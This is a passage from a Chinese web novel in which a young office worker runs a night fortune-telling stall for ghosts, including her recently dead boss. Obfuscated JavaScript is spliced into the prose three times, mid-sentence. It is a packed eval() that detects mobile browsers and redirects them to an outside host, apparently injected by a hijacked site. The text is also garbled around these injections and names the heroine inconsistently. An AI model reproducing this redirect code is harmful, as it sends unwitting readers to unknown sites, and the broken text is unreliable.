《明朝遗物:六百年鬼身环游记》 连标题都给他想好了,往后她就多加引导,比如带刘元詹看看明朝遗迹之类的,试图刺激起他久远的回忆,说不准他就想起来了,到那时,嘿嘿,抱着棵摇钱树,谁还打工啊! 啧,世界之大,无奇不有。 刘元詹认真道:“但也许是有的。为鬼身,执人念,与人有关的就局限在一时一地,执念断,鬼身散,这束缚是自身施加的。” 张祎宁闻言,若有所思地点点头,又忍不住看向刘元詹,那他确实是个异类啊,像是一个无解的bug,不是没有解决的办法,而是逻辑链条的最开始,这个命题就是个伪命题,伪命题难以导向真答案,但这个命题又没有归正的办法。 嘶,我真的能帮得了他吗?张祎宁突然生出一种无力感,连阎王都不想管的事情,她非上赶着放大话,这下真是搬起石头砸自己的脚了。 正自懊恼,她听见有熟悉的声音在唤自己的名字。 “张祎宁?” “到!”她条件反射地站了起来,带翻了凳子。 谁?谁对我直呼大名?不会是遇到现实生活中的熟人了吧?这可尴尬,堂堂办公室女白领下班后竟在天桥上摆摊算命,这传出去我就直接社会性死亡了。 她战战兢兢地往声源处望去。 熟悉的面孔映入眼帘,但又是那么的陌生。 来人她不止认识,日日相对,甚至在两个小时前,还有过对话。 他是活阎王,张祎宁的直属上司。 但他的身体现在是透明的。 他死了。 8. 鬼上司 “许、许总,你、你怎么……” 因为太过惊讶,她险些咬着自己的舌头。 “张祎宁,是你。” 他本匆匆过客,看到张祎宁后倒镇静自若,又恢复成了她所熟悉的表情,胸有成竹,没想到死了也这般。 许良友走了过来,对她的小摊上下审视了一番,又将目光锁定在坐着的刘元詹身上,刘元詹也很自觉地起身让位。许良友比张祎宁一个掌簿淡定多了,他缓缓落座,还对着张祎宁优雅地做了个请的姿势,示意她坐下。 张祎宁发现所有的鬼来到摊位后看到那个小小的折叠凳都会自如地坐下,恍若未觉它们如今以魂体的状态,其实是不需要坐椅子的,习惯的力量真的很强大。 “正如你所见,我死了,虽然这话从我嘴里说出来很奇怪,但确实如此,就在一个小时前,我在工位上一切正常,完善那份企划案,这里我不得不说一下,你在企划案里使用的一些表述都非常不专业,也不够成熟,所以我帮你相应做了修改,然后,我就觉得空气有些稀薄,喘不上气来,我以为自己是被你的不专业给气到了,但这种感觉加剧。起先我没往那方面想,因为这种感觉也是家常便饭。我想起身开窗透透气,但腿很软头也晕,身体支撑不住地倒了下去,大概是心源性猝死吧,我也很意外。” 他平淡地给自己的死亡下了定论。这样淡漠到像是事不关己的态度张祎宁还是很佩服的,当然,如果他能把指责她的那段话咽回肚子里就更好了。 张祎宁低下头,脖子上的那圈大饼又莫名其妙地新添了一个缺口,她不由叹气。 “许总,唔,听到这个噩耗我也很震惊很心痛,但人死不能复生,还请你节哀。” 听起来怪怪的,但她也从来没对一个刚死的人说过安慰话,难道要说“欢迎你”吗? 许良友依旧很平淡,“既来之,则安之。我没想到还能逗留人世,还会有自己的意识,我在公司楼下遇见一个人,哦准确来说是和我一样的同类,他告诉我如果我有未了的事情想要完成,可以到天桥这里来找你,我本不抱太大的希望,因为大概率是没办法完成的,但竟然是你,也许是老天体恤吧。” 在公司楼下碰见的鬼,那就不奇怪了。 每当自己揭不开锅,摊位无人问津的时候,她就回到园区里转一圈,往往能有意外之喜。 相比于许良友的欣喜,她仍有些犹豫,“什么未了的事情?” “就是那份企划案,要是能够再迟一点点倒下,我也就改完了,所以我需要你帮我把它完成。” ???鬼是没有脑子的吗?也不是啊。 “不是……许总,我感觉你是还没搞清楚状况,你现在已经死啦,和这个世界没有关系啦,更何况是一个小小的企划案,这就是你最后的执念吗?完成之后你可就入鬼门关,再不是许良友了。” “嗯,是的,我确定。我买的人身保险和在公司猝死所能获得的赔偿金应该都足够妻儿和父母生活,除此之外,我别无所求,张祎宁,这个忙非你莫属了。”许良友信心满满,觉得她一定会答应。 她确实没办法拒绝,首先他是自己的上司,虽然现在已经不是,但本能还是会有服从心理,再者,面对一个刚刚惨遭离世的身边人,她实在说不出口拒绝的话,即使对方看起来比她还要无所谓,况且,这只是个很小的忙,也许这个企划案最后还是要落到她的头上的,答应他算一箭双雕,是笔不亏的买卖。 送走许良友之后,张祎宁就一直低着头一言不发。 刘元詹默默地重新坐回了对面。 张祎宁越想越憋闷,那自信的表情和笃定的语气像是完全拿捏住了她。拜托!现在是他有求于我好吧,我明明可以硬气点的,生前是我的活阎王,死后还是个甩不掉的瘟神,这厢对比之下,连怪胚刘元詹都显得顺眼可爱多了。 她皱眉问向对面那个稍微算是“自己人”的鬼:“刘元詹,我看不懂他,但有点烦,你觉得呢,他是个怎样的人?” “简单的人,一眼便能看透。” 是吗?在张祎宁的印象里,许良友就是个活阎王,但大概是她还带着过往的偏见,人之将死,其言也善嘛,何况人已经死翘翘了。 都已经答应了对方的请求,现在也没有再憋闷自己的道理,她调整好心情,看了看时间,这都已经快十点半了,昨日那两个鬼也没见上门啊? 她试探性地问道:“刘元詹,昨天你跟那两只鬼说让他们今天来找我,他们有什么表示吗?答应还是拒绝?” 他想了想,答道:“没有表示。” 没有表示?是还在犹豫? “除了那几句话,你们还有别的交流吗?” “他们问我是谁,我答,你在帮我了却执念。” “嗯,”张祎宁点点头,这对话没什么问题,“还有吗?” “他们又问我,在这多久了,我答,六百年。” …… …… 等等……不是…… 这话倒也没错,但不知前因后果的鬼会因为刘元詹的话而怀疑她的能力!六百年都完不成任务的掌簿,哪只鬼想找?再说,她根本就活不到六百年吧!等等!掌簿不会真能活这么久吧?嘶,比起天降无限寿命的想法,她第一秒想的是自己竟然要打这么久的白工?!下次见到阎王得问清楚些。 张祎宁一边为痛失两只鬼的KPI欲哭无泪,一边埋头收拾东西,说道:“今晚就到这了,收工。” 刘元詹顶着一副天真无辜的表情问:“不等他们了吗?” 她挤出个笑容,“不等了。” 她没理由责怪刘元詹,如果……如果自己周日晚来了就好了……她更宁愿不知道有这件事情发生。 失去比从不曾得到要难受上许多。 * 第二天上班不出所料,整栋楼都弥漫着诡异的气息,同事们三三两两围在一起嘁嘁喳喳,人们的脸上或是惊恐或是兴奋。当事情不危及自身利益、与自己无甚相关时,都可以变成一口瓜。 “许总,吃瓜到自己身上,感觉如何?”张祎宁压低音量看向旁边的鬼。 她一到公司除了感受到氛围的怪异外,就看见许良友刚好从他的办公室里穿墙而出,径直走向自己。 “无聊。”他下意识整了整西装领带,一脸“我很帅,我是霸道总裁”的高冷即视感。 靠,还真是越看越讨嫌!张祎宁斜睨了他一眼,不再理会,当看不见。 张祎宁在来公司的路上就已经收到了公司邮件,明令禁止讨论、散播相关案情信息,但流言像空气,是堵不住的,默默发酵,转瞬间便笼罩在每一个人头上。 沟通交流被监控,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448785|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有规避监控的法子,或缩写指代、或眉眼传讯,总之,她在每一个同事的脸上都看见了要么是“我吃到瓜了”,要么是“大事不妙”的表情。 假情假意地和同事们太极八卦完一番后,张祎宁带着电脑躲进了小会议室里,许良友一早就在这里等着她。 她真的很想知道许良友现如今的感受,旁观因自己的死讯带给别人的冲击,多么新奇的体验啊,像开了上帝视角,但他一直表情淡淡的,也并未往人群中凑。 说老实话,尽管许良友再如何不好,面对一个人的猝然离世,心里还是会带上几分真情实感的唏嘘和同情,但偏偏老天要她再碰上他,偏偏他还站在她的身后指指点点。 “这里,还有这里,我全都帮你改过来了。” “我建议重新再出一版,你的PPT逻辑就不对。” 张祎宁看着被他改得乱七八糟、面目全非的企划,恨不得他立刻超生。 她忍住了,公事公办地解释道:“许总,PPT的逻辑是之前开会对过的,我不过是往上填充了内容。” “那从一开始就有问题。” !??你最开始不是这么说的!又来!我的会议记录呢?! 她长吸一口气,保持了足够的职业素养,“您真是贵人多忘事,我不可能现在自己一个人就推翻之前小组会议达成共识的逻辑。” 你那么有本事,就自己去跟小组成员掰扯呗。 这样的理由无法动摇许良友的想法,数次被他打断解释,在他即将又要开始口若悬河发表那些无关痛痒的宏观建议之前,张祎宁感觉自己的脑袋嗡嗡的,忍不住就想拍死嗡嗡不断的蚊子。 她噌地站了起来,合上电脑,面向他:“许总,这是我的企划案,我自己改,你的需求是让我完成它,不是按照你的意愿完成。” 许良友对张祎宁强硬的语气有所不满,但还是不得不妥协:“行吧,既然你坚持的话。那你还得负责推动这个企划案通过表决,我打赌这样的企划案是无法通过的。” “好,从现在开始到表决会这段时间,许总就不要再插手了。” 他双手一摊,表示无异议,穿门而出。 爽!看到许良友吃瘪的模样,张祎宁一扫郁结,要换到往常,这份企划案势必只能按照他的要求修改,不然就会被塞进碎纸机里,然后在企划被打回后狂骂所有人废物、饭桶。 早上的小组会议,这份企划案果不其然还是落到了张祎宁的头上,让她将PPT完善好,表决会定在下周。还有整整一周的时间,没有许良友的来回折腾,足够了。 自从忍无可忍撕破脸后,张祎宁就再无所谓,许良友在自己工位来回晃荡示意有话要说,她就低下头装作没看见。她还在许良友的眼皮子底下到点上班,踩点下班,当然,这不只是她一个人这么做,早来两分钟、晚走两分钟,自己就会被留下和空荡的办公室作伴。 再把他在自己的PPT上加的那坨狗屎全部删掉,换回原来的;她甚至会刻意在许良友面前做一些他平时根本不能接受的事情,例如在工位上吃饭。张祎宁为什么说他是活阎王,这也是很重要的一点,他禁止部门员工在工位上吃饭,仅仅是因为他个人的好恶。 张祎宁第一次在办公室里闻到食物的味道,闻到自由的气息,莞尔看着许良友板脸躲回自己的办公室里去了。 9. 横 张祎宁晚上八点就来到了摊位上,比平时早了一个多小时,她有理由相信,自己的生活就此开始了新篇章。 但总有鬼比自己还早到。 刘元詹也看见了张祎宁,“你今日很早。” “你挺有时间观念的嘛,还知道我早来。” 他指了指苏张祎宁身后的一栋高楼,“平日你来时,它周遭已亮起五色灯光,今日还不到时辰。” 张祎宁顺着他的视线转头望去,原来是那座城市地标塔。 她突然有些好奇,问道:“你看得懂那上面写的字吗?” “那些灯光,是字吗?” “构建文明城市。”张祎宁一个一个遥指着地标塔身上滚动播放的字,念给他听。 他若有所思地点点头,“世事变迁,我花了很长的时间适应你们的新口音,可惜没有太多的机会可以识得新文字。” 刘元詹大多时候都不说话,只安静地坐在凳子上,陷入他自己的世界,张祎宁无聊跟他搭几句腔,他就会露出笑脸,但也只简单地回应几个字,不愿多说,张祎宁一直以为他是习惯了自己一个鬼相处,嫌她聒噪,但明明是他自己总要寻过来的…… 却原来,是他不知晓该说些什么,可能也不知道该如何准确表达,唔,确实没想到这个可能性。 她看着再次遥望地标塔的刘元詹,有一种奇异的感觉,她和刘元詹中间有层看似很薄实则非常非常非常厚的介质作为间隔,就像两个不同时间、空间中怪异扭曲的磁场带,她所伸出的每一次手、说出的每一句话,看似落在了不过咫尺的刘元詹身上,实际是掉进了无底的介质深渊中。思及此,她不禁打了个寒颤。 别想了,人鬼殊途,既定事实。 许良友这单是需要时间的,再早也得等到下周才能完成,在这之前她不想将过多精力放在这单上,但她又很担心许良友会找到摊位上来,因为她在公司里故意无视了许良友好几次……叽叽喳喳的真的很烦,还赶不走。 她回想起这两天的痛苦遭遇,掰着指头数到下周还要多久,越想越烦躁,最开始就应该谨慎点,装作看不见他不是万事大吉?谨慎啊谨慎……张祎宁眼神失焦地看着过往的人群。 突然,眼神自动寻到了焦点,穿过刘元詹的身体,锁定在他背后。 “站住!”她来不及思考,脱口而出。 眼前的两人和一鬼同时站定。张祎宁这才反应过来,以歉意的笑掩饰了尴尬,朝那两位被她突如其来的高声呼喊惊吓到的人不好意思地摆了摆手。两个过路人同时带上了不满和疑惑的神色离开,她瞪了停留在原地的那鬼一眼,悄悄朝他勾了勾手。 “过来。” 那鬼吊儿郎当地飘了过来,站在刘元詹边上,瞧了他一眼,什么话也没说。 “站着就好,非客,恕不提供座位。”张祎宁向他投去一瞥,制止住正要起身的刘元詹。 刘元詹依言坐下,含笑抬眸望着那鬼。 嗯?刘元詹这是在暗爽吧?张祎宁从他的表情中读取出了令她惊讶的信息。返老还童,她第一瞬间只想到了这四个字。 “咳咳,余倾山,是不是打算回头是岸了?” 张祎宁将目光收回。 余倾山重新带上笑意,走到她身边,说道:“岸在前方,回头不是死吗?不过,劳你费心,我这回确实找到岸了。” 张祎宁假笑道:“哦?是吗?恭喜。” 余倾山说的她不相信,就他那执念,都不能称之为执念,只能是扭曲的怨念,还能实现?他之前被自己拒绝过,现在又上天桥,大摇大摆从自己面前经过,明摆着想吸引注意。要是真找到人能帮他,还来这干嘛? 听到她语带讥讽,余倾山不怒反笑,“巴掌,人外有人,天外有天,你能力有限又目光短浅,但我不是这样的人,我大人不记小人过,想着你毕竟是我找过的第一个掌簿,在我即将去往新世界的坦途前,大发慈悲让你认清自己。” 张祎宁拧起了眉头,余倾山的得意就写在了脸上,让她不得不重新思考他的话。 第一次见到余倾山的时候,她就发现他不同于别的鬼,毕竟刚死,变成魂体的形态,大多数鬼都很难适应,不管是脸色,还是肢体动作,不免带上迷茫、痛苦、不甘、悲伤等等消极情绪,但他不同,他的脸上是自得,他的情绪是亢奋,就像他所经历的不是死亡,而是新生。 她不出一言,静静地看着余倾山,她如果先开口,不论是忍不住细问还是继续讥讽,最后都会落入下乘。她有信心,余倾山既然都找上门来,自然不会只说这么两句就走。 果然,他是带着目的来的。 “你知道,横吗?” 横? 什么玩意儿? 余倾山立马捕捉到了她脸上一瞬即逝的疑惑,没放过再次出击的机会:“那里面都是和你一样的人,但他们专业、有历史、有背景,可以做到很多你做不到的事情,每天蹲在这个摊子守株待兔,却不知道人家就守在兔子窝旁哈哈哈哈!” 他笑得前仰后倾,透明的魂体在张祎宁眼前像一团要散去的烟气摇摆晃动。 横,听他的意思是个掌簿组织。 她从阎王那里知道世界上不是只有自己一个掌簿开始,就想到过类似的组织,但苦于无处寻觅,再加上遭遇本就突然,没做好这么快就主动以身入局的准备,那样一个组织,会是什么样子的? “人家肯收你?”张祎宁觑了他一眼。 “当然,约好了等会儿上门拜访。” 也是晚间作业?看来都是社畜。 等会儿就去?张祎宁故作镇定,状似不在意地问道:“那你还不去?” “这就走。” 如果眼前有面镜子,张祎宁一定能从自己的脸上看出隐隐期待的表情,这不可能瞒得过余倾山,余倾山便是很早就看透了张祎宁,才故意在勾魂前走这一趟,恶趣味地报复她最初不肯相助一仇。 他笑着拍了拍张祎宁的肩膀,也不管碰没碰到,慢慢踱步至她身后,就在张祎宁的眼皮子底下,招了招手,“有本事就,跟过来——” 话尾随着他的后仰、下坠,被天桥底下的车流声一口吞掉。 是想跟上去来着,但她确实无能为力。 倏地,侧边又一身影一跃而下,一同消失在夺目的光带中。 “刘元詹!” 张祎宁噌地站了起来,靠近天桥护栏向下望,什么也看不见,只有车和人。 她的心扑通扑通直跳,一时没反应过来刚刚到底发生了什么事,刘元詹为什么也下去了?他是去追余倾山?虽然知道他们都是鬼,这样跳楼式的体验无法伤及分毫,但亲眼看见刘元詹跳下去,那份震惊不亚于看见活生生的人跳楼。 隔壁卖盗版书的老板听见张祎宁的喊声,又看到她着急地跑到护栏边向下望,一时摸不着头脑,小姑娘平日里就神神叨叨的,年纪轻轻摆个算命摊,还总是自言自语,真是有点瘆得慌,这会儿又是做什么? “咋啦?”他还是没忍住好奇,也来到护栏边向下看去。 啥也没啊,都是车,还以为有人跳下去了呢。 “没……没事。” “那你喊啥呢?听起来是个人名。” 张祎宁硬着头皮编道:“呃……刘……流星!我刚刚看到流星了,唰地就划了过去,像掉到下面一样,第一次见那么近的流星,还以为是陨石坠落呢,就很激动。” 老板似信非信地打量了她一眼,没接茬,但马上他就有了应对之词:“妹子,你对这种流星之类的很感兴趣吧?” 为了应付他,终于敷衍道:“是,是。” “诶,来我这看看啊!我这有流星相关的书,那个叫什么,哦对,天文学!” 老板兴致勃勃地引着张祎宁往自家摊位去,翻出一本厚厚的《观星》塞到她手里,“还有这个,《漫步太阳系》,这个也可以。” 张祎宁不知该如何拒绝,只好接过随意翻了两下,粗糙泛黄的纸张像是很古早的厕纸,还散发出一股臭味,她不自觉就闭了气,纸张印刷的页边距也宽得离谱,一页纸上几乎浪费了半页的印刷空间,这怕是专门为了按斤称书籍盗版印刷的,“量大管贵”。 老板还在陆续给她介绍自己的推荐好货,“诶,这个,对口的,《天地人鬼神图鉴》、《冥界百鬼》,还有这个,《神棍列传》。” “哦不是,我不是这个意思。”老板将那本《神棍列传》收回,憨笑着看向她。 张祎宁眼疾手快地拿过了那本《神棍列传》,慨然道:“没事,我就要这本了。老板,买这本。” “啊……行,行。” 他拿过《神棍列传》放到手旁的称上,不死心问道:“天文学的书不要了?” 张祎宁笑着摇摇头,“术业有专攻,对口的先学好。” “行吧,刚好一斤。”他指了指称上的数字,“童叟无欺,明码标价。” 选这本《神棍列传》就因为它最薄,结果还是有一斤多,18块钱…… 老板看着张祎宁有些犹豫的神色,拍拍胸脯保证道:“这可不是盗版书啊,你摸摸看,这纸不是那种薄的,多厚啊,好纸!” 当然厚啦,不厚怎么能一百多页的书称我近两斤…… 张祎宁不再多说,付了钱乖乖带着教训回到自己的摊位上。 不知道刘元詹怎么样了,跟上没?自己要在这里等他吗?可是也不知道要等多久,现在已经快十点了,但毕竟人家是为了帮她才跟上去的,于情于理都得等吧…… 她将手肘撑在膝盖上,下巴抵着掌心,无神地发着呆。 坏了!刘元詹这不是羊入虎口吗?他一个鬼跑进人家抓鬼的基地里去,万一人家有些什么很牛的对付鬼的手段呢? 但他来到这个城市有些年头了,那个组织不可能没留意到他,毕竟是连阎王都认识的鬼。也可能是刘元詹此前一直游荡在外,所以“横”拿他没法,这次是专和余倾山设的局,目的不在于她,而是刘元詹? 张祎宁一时有些心焦,思绪不受控地往阴谋论的方向横冲直撞。 等了不知多久,身旁的摊位都陆续撤走,黑暗无知无觉地将她周身笼罩,她开始感到害怕,鬼不能伤她,但人可以,一个年轻女性在灯光昏暗、冷冷清清的天桥上逗留,这不是一个明智的选择,哪怕她得到过阎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽管每晚都能见到刘元詹,他们对谈自如,如同熟稔的老友,可张祎宁从来都觉得自己是一叶扁舟,不过从一个海域抵达了另一个此前未涉足的海域罢了,刘元詹只是因迷航偶然停靠在自己船头的海鸥,他不是船,他的方向是天空。 海天一线,是旅人的错觉。 尤其是在等待他回来的那段漫长空白里,想到即使他就在身边,如果遇上歹徒,她能倚靠的人也只有自己时,孤军作战的重负压得她有些喘不上气,当然,爬楼梯也很累就是了。 “是敌是友,我可以探明。” 刘元詹不知是否是不经意的一句话,让她瞬时找到了一个小小的支点。 “那是个什么地方?”摆脱掉杂思,她未正面回应刘元詹刚刚那句话。 “相比两旁的灯火通明,那里略昏暗,大门紧闭,但内有灯光透出,门脸不大,仅容两人并肩通行……” 这样的描述,他们一路经过的地方符合的就不下十处,张祎宁打断了他笼统的描述,问道:“有没有什么特殊的地方?比如门口有路标啊招牌啊之类的文字标识,又或者像天桥、你在天桥上看到的地标塔这类?” 他似在回忆里检索,一时没有出声,过了一会儿才摇头道:“和任一处街道都相似,未曾看到明显的区别,那里看不见地标塔。” 看不见地标塔,要么离得很远,要么刚好拐过了高楼被高楼所挡。 “门口有招牌也有路标……”他停顿住,心虚地瞄了一眼满脸期待的张祎宁,“我……我看不明白上面写的字。” ……失策啊失策,扫盲行动势在必行了,张祎宁暗下决心,往后也许还会有需要刘元詹的地方,看不懂字可不行。她有些心累,不知道教一个六百年前的老祖宗学汉字容易还是教一个小屁孩容易。 事已至此,她无力问道:“远吗?” “不远。” “你还记得路吗?” 刘元詹信心十足答道:“记得。” “行吧,下次找个时间你带我走一趟。” 前方快要行至路口了,张祎宁记得最初遇到刘元詹的那个公园就是顺着左边那条路,穿过公园一路前行就能到她的学校,自己新搬的小区是拐向右边那条路。 她停在路口,转向刘元詹,“好啦,很晚了,我得赶紧回家了,那个公园是在左边对吧,我走右边,有什么事我们明晚再说吧。” 和刘元詹道别完,她独自走上这条已经逐渐熟悉的回家路,真的很晚了,好在都是大路,路灯也通明,走快几步应该能在半小时内到家。她若有所感,回头看了一眼,刘元詹未走向左侧那条路,还在原地,似在目送她远走。 他站在路灯下,灯光让他的身影变得缥缈,几不可见。 张祎宁的背影消失在拐角后,刘元詹仰起头,看见了光圈范围内的数只飞虫,砰砰砰地撞向灯罩,不知疲惫。很长一段时间,缥缈的身影就隐藏在倾泻而下的光柱里,但在他看来,自己不过驻足了一会儿,看了一场每晚都会上演的飞虫把戏。 而后,他转身向着来时路走去,回到那个天桥上。 10. 话不投机 横这个组织,张祎宁是要探的,之前不知道还好,这么突然地通过余倾山在自己面前亮相,就不得不多想想了。如若他们不怀好意,自己可以早做提防,如若能够友好结交,打入内部,往后做事都会更方便些。 但不是现在,前一晚才刚有所行动,还是得稳一稳,给自己一个准备时间,也可以看看对方会不会有进一步的行动。 张祎宁边睡眼惺忪地吃着早餐,边回想昨晚发生的一切,务求没有遗漏和被忽视的细节。 周末吧,周末天桥人多,摆摊多有不便,早点去的话也不至于又要耽搁到深夜。她做好决定后,叼着袋豆奶就出门上班了。 唉,要是可以不用上班就好了,可是不上班哪来的钱呢?张祎宁在做着不切实际的幻想,突然,一个人影冲到了自己面前,猛地吓了她一跳,停在原地,双目圆睁地看着正前方的人。不,是鬼。 那个小鬼。 完蛋了。 她强行镇定下来,悄悄挤了挤豆奶包装袋,装作不小心挤多了,溢出来,将包装袋拿远,急忙从包里翻找出纸巾,擦了擦手心和嘴巴。做完这一套若无其事的表演后,她才重新迈开步子,狠了狠心直接穿过挡在面前的小鬼。 不知是心理作用,还是因为死过一次重生为掌簿,与鬼有了紧密的连接,穿过小鬼的时候,她感到像穿过水面般具有张力表面的阻力,上一次被穿过时也是这样,那小鬼是不是也能感受到不同?但鬼应该是不再有类似触觉了的。 “姐姐,晚上见!” 背后传来的呼喊声让张祎宁头皮发麻,一粒一粒的鸡皮疙瘩爬上僵直的小臂,她感受到一股无名的寒意。 张祎宁开始重新思考要怎么对付这个小鬼,他绝对已经发现自己的猫腻,是要继续视而不见还是快刀斩乱麻,她一时没了主意。 小区里有小鬼,公司里还有个大鬼。 许良友看来是赖在公司了,连家也不回一趟。张祎宁决定再晾他几天,先过几天舒服日子,反正下周还有很久,等表决会临近再给他好脸色,毕竟他手里也还握着一个好评呢。 她才坐下不到半个小时,公司瓜群就有了动静。最近几天瓜群就没安宁过,毕竟这才刚发生人命关天的大事,各种小道消息、坏瓜、馊瓜翻飞,真真假假,挤爆了流通市场,但昨晚已经风声渐平,这不同寻常的消息增长速度又是怎么了? 她好奇地点开。 -猜我在楼下看见谁了? -我也看见了。 -带着小孩来的。 -看起来精神状态不太好啊。 -这还不好?妆容精致、穿戴得体,噔噔噔地踩着高跟鞋就来了,还喷香水了呢。 -谁啊谁啊,你们说谁呢? -来干嘛的啊? …… 苏音看得一头雾水,对这种话只说一半、关键信息用代码的聊天形式充满无奈,她打算逐一细看,从只言片语里拼全这条信息。 屏幕里的嘁嘁喳喳仿佛具现到了现实中,张祎宁听见了身旁的骚动和高跟鞋有力的笃笃声。 看见了,那个被用代号指代的女子。 她昂着头,目不斜视地跟在人事经理身后,一手攥着孩子的小手,那个小男孩显得有点着急,母亲走得太快,自己跟不上,但手被攥着,只好一步两跳地稍落后在旁边。很快,他们就走过了一众工位,进入办公室内。 张祎宁看到的最后一幕便是人事经理拉上了百叶窗,以及其后端坐在沙发上的女子与男孩、背对着他们站在落地窗前的许良友。 许良友的妻儿,这是她第一次见,但公司里不乏年限长的“老人”,大家聚在一起聊的最多的自然是上司,所以她也知道一些故事。 许良友和他的妻子之前都在这家公司任职,他的妻子甚至是他的直属上司,所以这是一起办公室上司与下属的恋爱,但这是被公司列入章程明文禁止的,其后被部门同事举报了,在去留的选择上最终留下了许良友。婚礼听说是在许良友当上了部门主管后办的,也就是那女子原先的职位,那女子而后离开职场,成为了一名家庭主妇。 许良友一路做到了营销总监,后又因一次失误,再次回到部门主管的位置。 张祎宁看着办公室门发呆,许良友也在里面,这应该是他死亡后第一次见到妻儿,竟是在公司办公室里,不知道会有什么感触。 这场会谈持续了很长时间,期间有不少人进出过,但许良友和其妻儿都未露面,直到下午三时左右,全部人才从里面出来。 那女子眼圈红红的,不复早晨时的气场,像被霜打后的茄子,沉闷低迷,她仍旧目不斜视,高跟鞋踩在地面发出笃笃声,但她走得缓慢,出神想着什么,眼睛一直盯着前方的地板。小男孩拉着母亲的手,引领她一步一步向前。 很明显的变化,他们在里面说了什么?张祎宁四下张望,所有人从办公室里出来,门被关上,百叶窗忘记复位,许良友没有出来,她看不见他在办公室里的样子。 怀着这份好奇,她今天主动加班了,就等着许良友从里面出来。她可不敢当着监控的面,众目睽睽地直接进许良友的办公室,哪怕里面没人。但一直坐到七点半,都不见许良友的鬼影,她只好拿着杯子起身往办公室走去,装作路过,实则屈指敲了敲门,如此往返两次,才坐回座位上。 不过一会儿,许良友果然从里面出来了。 刚刚拿着水杯乱晃的时候她确认过现在部门里没有人在,于是直接开口问道:“许总,你还好吧?” 适当的关心是开场白的首选。 他云淡风轻地投来一瞥,“怎么?” “呃,没,没事,就是作为下属关心一下。” “我不知道怎么回复你这个‘你还好吧’的问题,毕竟我人都死了,没什么好与不好之分。” “张祎宁,你看,这就是你的问题所在。你以为问这样一个问题,就能稍微拉近一点关系,从而从后续的对谈里获取你想要的信息,但这是在寄希望于对方,希望对方被你打动,然后施舍你一点小料。这很低级且无效,你想知道办公室里发生了什么,可以直接问,因为目前我们之间,你处在上位,我不会拒绝回答这个无伤大雅的问题,又或者你可以利诱之,适当做点让步,换取你想知道的消息。” 又被教训了一通。 “许总,你说的是有道理的,但所谓的‘你还好吧’开场白,不一定就是带有如你所想的那么多,呃,计算。我大可不必留下就为了问这个,你也知道的,今天晚上,办公室里那五个多小时的会谈内容就会传遍公司。” 张祎宁站起身,向许良友告别,“你看起来确实没有什么大碍,我的关心多余了,许总明天见,放心,我很认真对待那个PPT,早点送走你,应该是我们为数不多的共识。” 话不投机半句多,真是对不起宝贵的下班时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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后知后觉自己的声音有点太大,差点引来别人的目光后,她埋下了脑袋,瓮声瓮气道:“就是那天你去追余倾山,我被你吓到了,不小心大叫出声,就像刚才一样,收到了隔壁摊主的关心,当然这关心是有成本的,结果就是我花了18块钱买手上这本书。我可没想学!单纯因为这本最便宜!” 费劲解释完后,她瞥了刘元詹一眼,“你不知道什么叫神棍?” 他摇了摇头,“现在知道了。” “你没看过《拍案惊奇》?” 他还是摇头,继而问道:“那又是什么?” “你们那个时代的书啊,我想想,你是哪年生来着……1424好像。” 她掏出手机查了查《拍案惊奇》的成书时间是1627年。好吧,老祖宗还没机会读到这么有意思的书。 “那四大名著,《三国演义》和《水浒传》都是元末明初的,你应该读过吧?” 他摇着脑袋,“不记得了,不记得是否看过。” 也是,几百年了,该忘的早忘了,他连自己叫什么、为什么会有这样的执念都不记得,怎么可能还记得这些细枝末节,至于汉字,也许已经变成了根深蒂固的大脑肌肉记忆,再加之往后也游走在中国大地上,期间也与人共处,汉字是无法舍弃的。 好在,她发现要教会刘元詹不是件难事,等教会他,下次他们就不会再因为这种问题浪费机会和时间了。 11. 命不可算 正如张祎宁所料,她卸下满身疲惫躺上床之后,看到瓜群已经有99+的未读消息,第一条发出的时间大概是在八点半,那时她应该刚摆好摊位。 -今天办公室里发生的是一场赔偿金博弈。 -猜都猜到了,所以结果如何?谁占优? -一个人对一team,你觉得谁占优? -对啊,简直判若两人,被挫败到了。 -女精英变家庭主妇,唉,现在也不比当年了,你们没见过她以前多厉害。 -再怎么样赔偿金也不会少吧,那位不都是多年老人吗? -早发配边疆了。 -只要努力干活,人生很快就会过去了。 -没有心跳不用慌,不是什么大事,继续加班吧,集团有AED。 …… 后续大部分都是些乐子梗和对当事人的八卦。 张祎宁看得头疼,放下手机,望着天花板发呆。 每当这种时候她就会对自己所处的社会、身边共处的人有更深一步的认知,可能比起大部分人来说,她的同理心和恻隐心都不够,从她当掌簿后解决过的几起事件就能看出,她做不到的都会直接拒绝,不给自己带来一点麻烦,面对别人的真情流露,她会觉得尴尬,在别人需要她安慰的时刻,她会打哈哈说些无关痛痒的敷衍之词…… “阎王让我这样一个人当掌簿,也真是心大。”她感慨道。 即使是这样的她,在面对裹挟着自己的这一片漆黑洪流时,也不免会唏嘘,会想东想西。当然,每次她升腾起的这一点点点点点叹息都会在见到许良友那一刻被他亲手敲碎。 “我是为千千万万个如许良友一样的人叹息,但许良友,不值得。”尊重他人命运,放下助人情结,这已经成为了她的掌簿宣言。 